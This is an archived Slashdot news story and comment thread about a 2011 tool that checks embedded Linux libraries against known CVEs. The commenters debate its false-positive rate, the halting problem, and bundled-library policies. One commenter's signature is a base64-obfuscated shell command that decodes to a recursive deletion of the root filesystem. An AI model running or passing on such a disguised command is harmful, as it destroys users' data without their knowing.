Tool Kills Hidden Linux Bugs, Vulnerabilities

← Back to Stories (view on slashdot.org)

Tool Kills Hidden Linux Bugs, Vulnerabilities

Posted by Soulskill on Tuesday November 22, 2011 @10:30AM from the cockroaches-hiding-in-your-tux dept.

mask.of.sanity writes with this excerpt from SC Magazine: "Australian researcher Silvio Cesare has released a tool capable of automatically detecting bugs and vulnerabilities in embedded Linux libraries. The script correlates vulnerability advisory CVEs for third-party libraries to determine if holes have carried over to Linux platforms or have not been patched. Such holes often escape the eye of developers because the libraries may not be kept updated with sources. This is further compounded because vulnerabilities in cross distributed packages can leave Linux platforms vulnerable."

47 comments

Min score:

Reason:

Sort:

Re:Linux has no vulnerabilities by Anonymous Coward · 2011-11-22 10:34 · Score: 0

Dear Troll, what part of "bugs and vulnerabilities" can not you comprehend?
And they're going to call the tool... by Anonymous Coward · 2011-11-22 10:35 · Score: 2, Insightful

"Regression Testing"
Re:Linux has no vulnerabilities by Baloroth · 2011-11-22 10:35 · Score: 0, Troll

It's to spot any vulnerabilities MS tries to sneak into the code.

--
"None can love freedom heartily, but good men; the rest love not freedom, but license." --John Milton
It apparently shut down his website... by ameen.ross · 2011-11-22 10:37 · Score: 0

...because it found a vunerability in the setup.

--
$(echo cm0gLXJmIC8= | base64 --decode)
Re:Linux has no vulnerabilities by ozmanjusri · 2011-11-22 10:43 · Score: 0

Just in time...
http://www.microsoft.com/download/en/details.aspx?id=28160

--
"I've got more toys than Teruhisa Kitahara."
Hell Yes by Anonymous Coward · 2011-11-22 10:46 · Score: 1, Informative

Go Silvio. He use to hang out with the kids in b4b0. Glad he is still kicking around and being productive. He also published something pertaining to binary infection based on vulnerabilities in the elf format circa the early 00s.
1. Re:Hell Yes by Anonymous Coward · 2011-11-22 11:11 · Score: 1
  
  Go Silvio. He use to hang out with the kids in b4b0. Glad he is still kicking around and being productive. He also published something pertaining to binary infection based on vulnerabilities in the elf format circa the early 00s.
  He was also very famous as a leader of the infamous GOBBLES hacking crew. Go Silvio!
2. Re:Hell Yes by Anonymous Coward · 2011-11-22 13:33 · Score: 0
  
  1. elf binary infection papers were cutting edge at the time
  2. he was not a leader of gobbles.
3. Re:Hell Yes by Anonymous Coward · 2011-11-22 15:11 · Score: 0
  
  we're still on efnet btw, but it's kind of dead (old b4b0 member)
4. Re:Hell Yes by Anonymous Coward · 2011-11-22 17:34 · Score: 0
  
  you're wrong, he also lead el8 and is a current member of zf0/geist
5. Re:Hell Yes by Anonymous Coward · 2011-11-22 17:41 · Score: 0
  
  This is so wrong it's not funny =/
Re:Linux has no vulnerabilities by Anonymous Coward · 2011-11-22 10:53 · Score: 0

lessee, openssh uses openssl libs, a problem in the libs works up
to the apps, developer forgets to update libs - root!
not theoretical
90% false positives?! by Cyko_01 · 2011-11-22 10:59 · Score: 4, Funny

sounds like he needs to run it on his own code
1. Re:90% false positives?! by Anonymous Coward · 2011-11-22 11:40 · Score: 4, Interesting
  
  Since his tool looks for vulnerabilities and not "bugs" (if you want to call them that), it would be pointless to run the tool on itself with the aim of reducing false positives.
  Also, to put that statement in context:
  "While about 90 per cent of vulnerabilities produced by the tool were false-positives, Cesare said vetting the results takes seconds and was considerably faster than using manual processes."
  That sounds like a worthwhile improvement, no?
2. Re:90% false positives?! by Anonymous Coward · 2011-11-22 16:03 · Score: 3, Insightful
  
  I think what the grandparent meant is that a tool which reports 90% noise is a tool that people don't use.
3. Re:90% false positives?! by madhi19 · 2011-11-22 19:28 · Score: 1
  
  So what it was just released the more this tool get used the less false positives you get in future version. Likely by whitelisting the recurring false positive.
4. Re:90% false positives?! by arkenian · 2011-11-22 20:18 · Score: 2
  
  My understanding is that most of the IA "scanning" tools out there have very high "false positive" rates, but that's because they're really designed to eliminate all "known good" and present anything slightly questionable to the user, as an alternative to purely manual review. So a 90% FP rate is not necessarily something that would prevent people from using the tool.
Automatically detect bugs and vulnerabilities??? by mark-t · 2011-11-22 11:12 · Score: 1, Insightful

Turing Halting Problem, anyone?

--
File under 'M' for 'Manic ranting'
Re:Automatically detect bugs and vulnerabilities?? by jensend · 2011-11-22 11:31 · Score: 4, Insightful

You probably already know this, but Rice's Theorem etc only apply to supposed decision procedures. It's quite possible to write a program which will often recognize that other programs have some nontrivial semantic property (halting, having a particular kind of bug, etc) and will decide correctly on a broad class of real-world programs. You just can't write one which will always give you a yes or no answer in finite time and always be right.
Re:Automatically detect bugs and vulnerabilities?? by Anonymous Coward · 2011-11-22 12:37 · Score: 1

Theoretically you can. All physical machines are finite state machines, so you can enumerate all configurations (and hence, all bugs) in finite time.
Re:Automatically detect bugs and vulnerabilities?? by seandiggity · 2011-11-22 13:04 · Score: 2

Theoretically you can. All physical machines are finite state machines, so you can enumerate all configurations (and hence, all bugs) in finite time.
...but you can't write a *general algorithm* to do that.

--
Geeks like to think that they can ignore politics, you can leave politics alone, but politics won't leave you alone.-rms
Uh, yes. by Anonymous Coward · 2011-11-22 13:31 · Score: 1

The poster actually provided one. "Enumerate all configurations". Start in every possible start state, run the program and stop once the machine reaches a previously seen state (that'll be an infinite loop, so the machine will never halt given that program and input), or halts. Since the machine can only have a fixed number of states (finite size) either of those two things will within at most N steps, where N is some fixed (probably very very large) number.
Of course if you actually had a machine large enough (enough memory, CPU, etc.) to do that, you'd want to use that to actually run your program...
1. Re:Uh, yes. by Anonymous Coward · 2011-11-22 15:09 · Score: 1
  
  You iterate every possible state... Tell me how you detect that a given state is an errant or "bug" state.
2. Re:Uh, yes. by dkf · 2011-11-23 10:21 · Score: 2
  The poster actually provided one. "Enumerate all configurations". Start in every possible start state, run the program and stop once the machine reaches a previously seen state (that'll be an infinite loop, so the machine will never halt given that program and input), or halts. Since the machine can only have a fixed number of states (finite size) either of those two things will within at most N steps, where N is some fixed (probably very very large) number.
  Of course if you actually had a machine large enough (enough memory, CPU, etc.) to do that, you'd want to use that to actually run your program...
  Won't work.
  
  You underestimate just how much state will be required. Really. I've written code to do this sort of detection in the past (where the subject program was provably finite and small) and it took gigabytes of memory to tackle programs with only a few bits-worth of real state. (You can do better by working with a model of the program, but then you've got problems ensuring that the model actually correlates with reality.) Heck, I even found that Google's indexed the papers that I wrote on this and had published 14 years ago.
  It's provably impossible to solve in general, since you could use the solution to create a program that only stops if it doesn't and vice versa, which is pure nonsense. Moreover, if you could solve it you could also solve a whole range of advanced mathematical conjectures, as you just use the subject program to encode the search through possible solutions. The general halting problem turns out to trivially encompass just about the whole of mathematics!
  You can get tractable solutions using a ternary logic though: algorithms that say "I don't know" some of the time are eminently practical.
  --
  "Little does he know, but there is no 'I' in 'Idiot'!"
Re:Automatically detect bugs and vulnerabilities?? by Anonymous Coward · 2011-11-22 13:56 · Score: 0

The technique the GP is referring to sounds a lot like model checking. It can be complete in the case that a program is actually finite (i.e. not using the fact that it is Turing complete). As all real computers have finite memory, you can make any program finite by bounding its memory usage. In practice, this is too computationally expensive to actually do except in special cases (i.e. very small programs).
Re:Automatically detect bugs and vulnerabilities?? by Anonymous Coward · 2011-11-22 15:31 · Score: 0

The input to a program is modelled as an infinite vector, therefore the set of possible configurations is still infinite.
Re:Linux has no vulnerabilities by Anonymous Coward · 2011-11-22 16:15 · Score: 0

^Microsoftie
security circus by sunr2007 · 2011-11-22 17:08 · Score: 1

The round 1 of security circus has begun. how many times we av been told that a single tool will detect the vulnerabilities and hidden bugs? and then some one exposes the tool or a vulnerability which is not discovered by the tool.then a new tool will emerge and the cycle repeats. "Given enough eyes all bugs are shallow "
1. Re:security circus by wdef · 2011-11-22 22:26 · Score: 2
  
  You're talking about snake oil tools from commercial interests. This tool doesn't detect bugs. It just looks for code similar to that of documented vulnerabilities from what I read. This cuts down the laborious business of trying to vetting code against thousands of advisories and reduces this to a list of possible matches. It doesn't remove the need for a real engineer to go over that list and check for false positives. But it's a huge improvement.
2. Re:security circus by Anonymous Coward · 2011-11-22 23:11 · Score: 0
  
  "Given enough eyes all bugs are shallow "
  As every seaman knows, shallows are one of the most dangerous things you can encounter.
I knew there was a reason I used gentoo by Anonymous Coward · 2011-11-22 21:02 · Score: 0

Gentoo builds everything from source, this can be a pain when upgrading but it does mean that any security advisories that fix a library update all the dependant packages by also rebuilding them.
A major KDE upgrade can be a nightmare but on a day to day upgrade cycle I fails less than Debian (IMHE)
Forbidding embedded libraries is common on distros by Anonymous Coward · 2011-11-23 00:47 · Score: 3, Informative

At least Debian and Fedora, and likely every other non-shitty Linux distro *strongly* object to packages with embedded libraries, for exactly this reason: it is *unsanitary* and *dangerous*: it breaks the flow of security and regular bug fixes, and it greatly increases the exposure of users to both bugs and security holes.
It gets so bad that Debian has a standing bad blood with the Ruby community because Ruby is "embedded third-party library hell", and therefore Debian maintainers either considers Ruby stuff unpackageable, or have to get in fights with upstream because they unbundle the libraries and suddenly upstream actually has to do its job and make sure their stuff works with more recent versions of the third-party libraries... (when it is an older version, that's a Debian bug).
If you got games from the Humble Bundle 1 and 2, you likely know that *for up-to-date latest stable Debian, Ubuntu, Fedora...*, many of the SDL bugs related to sound and video are fixed by removing the libraries duplicated in the game tarball, so as to use the ones shipped by the distro...
what about windows by hesaigo999ca · 2011-11-23 02:16 · Score: 1

When is he coming out with the windows one???
1. Re:what about windows by pimpsoftcom · 2011-11-23 04:47 · Score: 1
  
  No it would be worthless since it would just detect every file as insecure.
  
  --
  - d
2. Re:what about windows by hesaigo999ca · 2011-11-23 05:28 · Score: 1
  
  LMAO!
Not really. by jensend · 2011-11-23 17:29 · Score: 1

Just saying that the machines it's running on will all be finite doesn't buy you anything over analyzing behavior on a TM with its infinite tape; you'd have to have a bound on the amount of storage available to all the computers it will ever run on.
To put this another way: you could enumerate all the possible states it could enter when running on a particular machine. But that only tells you about the behavior of the program on that machine, not about the semantics of the program. The program could always be run on a computer with more memory/storage space, and the new computer has 2^(number of additional bits) times as many possible configurations.
(In particular, the computer you're running the analysis on has to have 2^(number of bits available to the computer the program would be running on) bits available. It would take a similarly exponentially stronger machine to analyze how the program would behave if it were run on that machine, and so on ad infinitum. No program could be written to analyze its behavior across all machines in this chain since otherwise you'd be able to solve the halting problem.)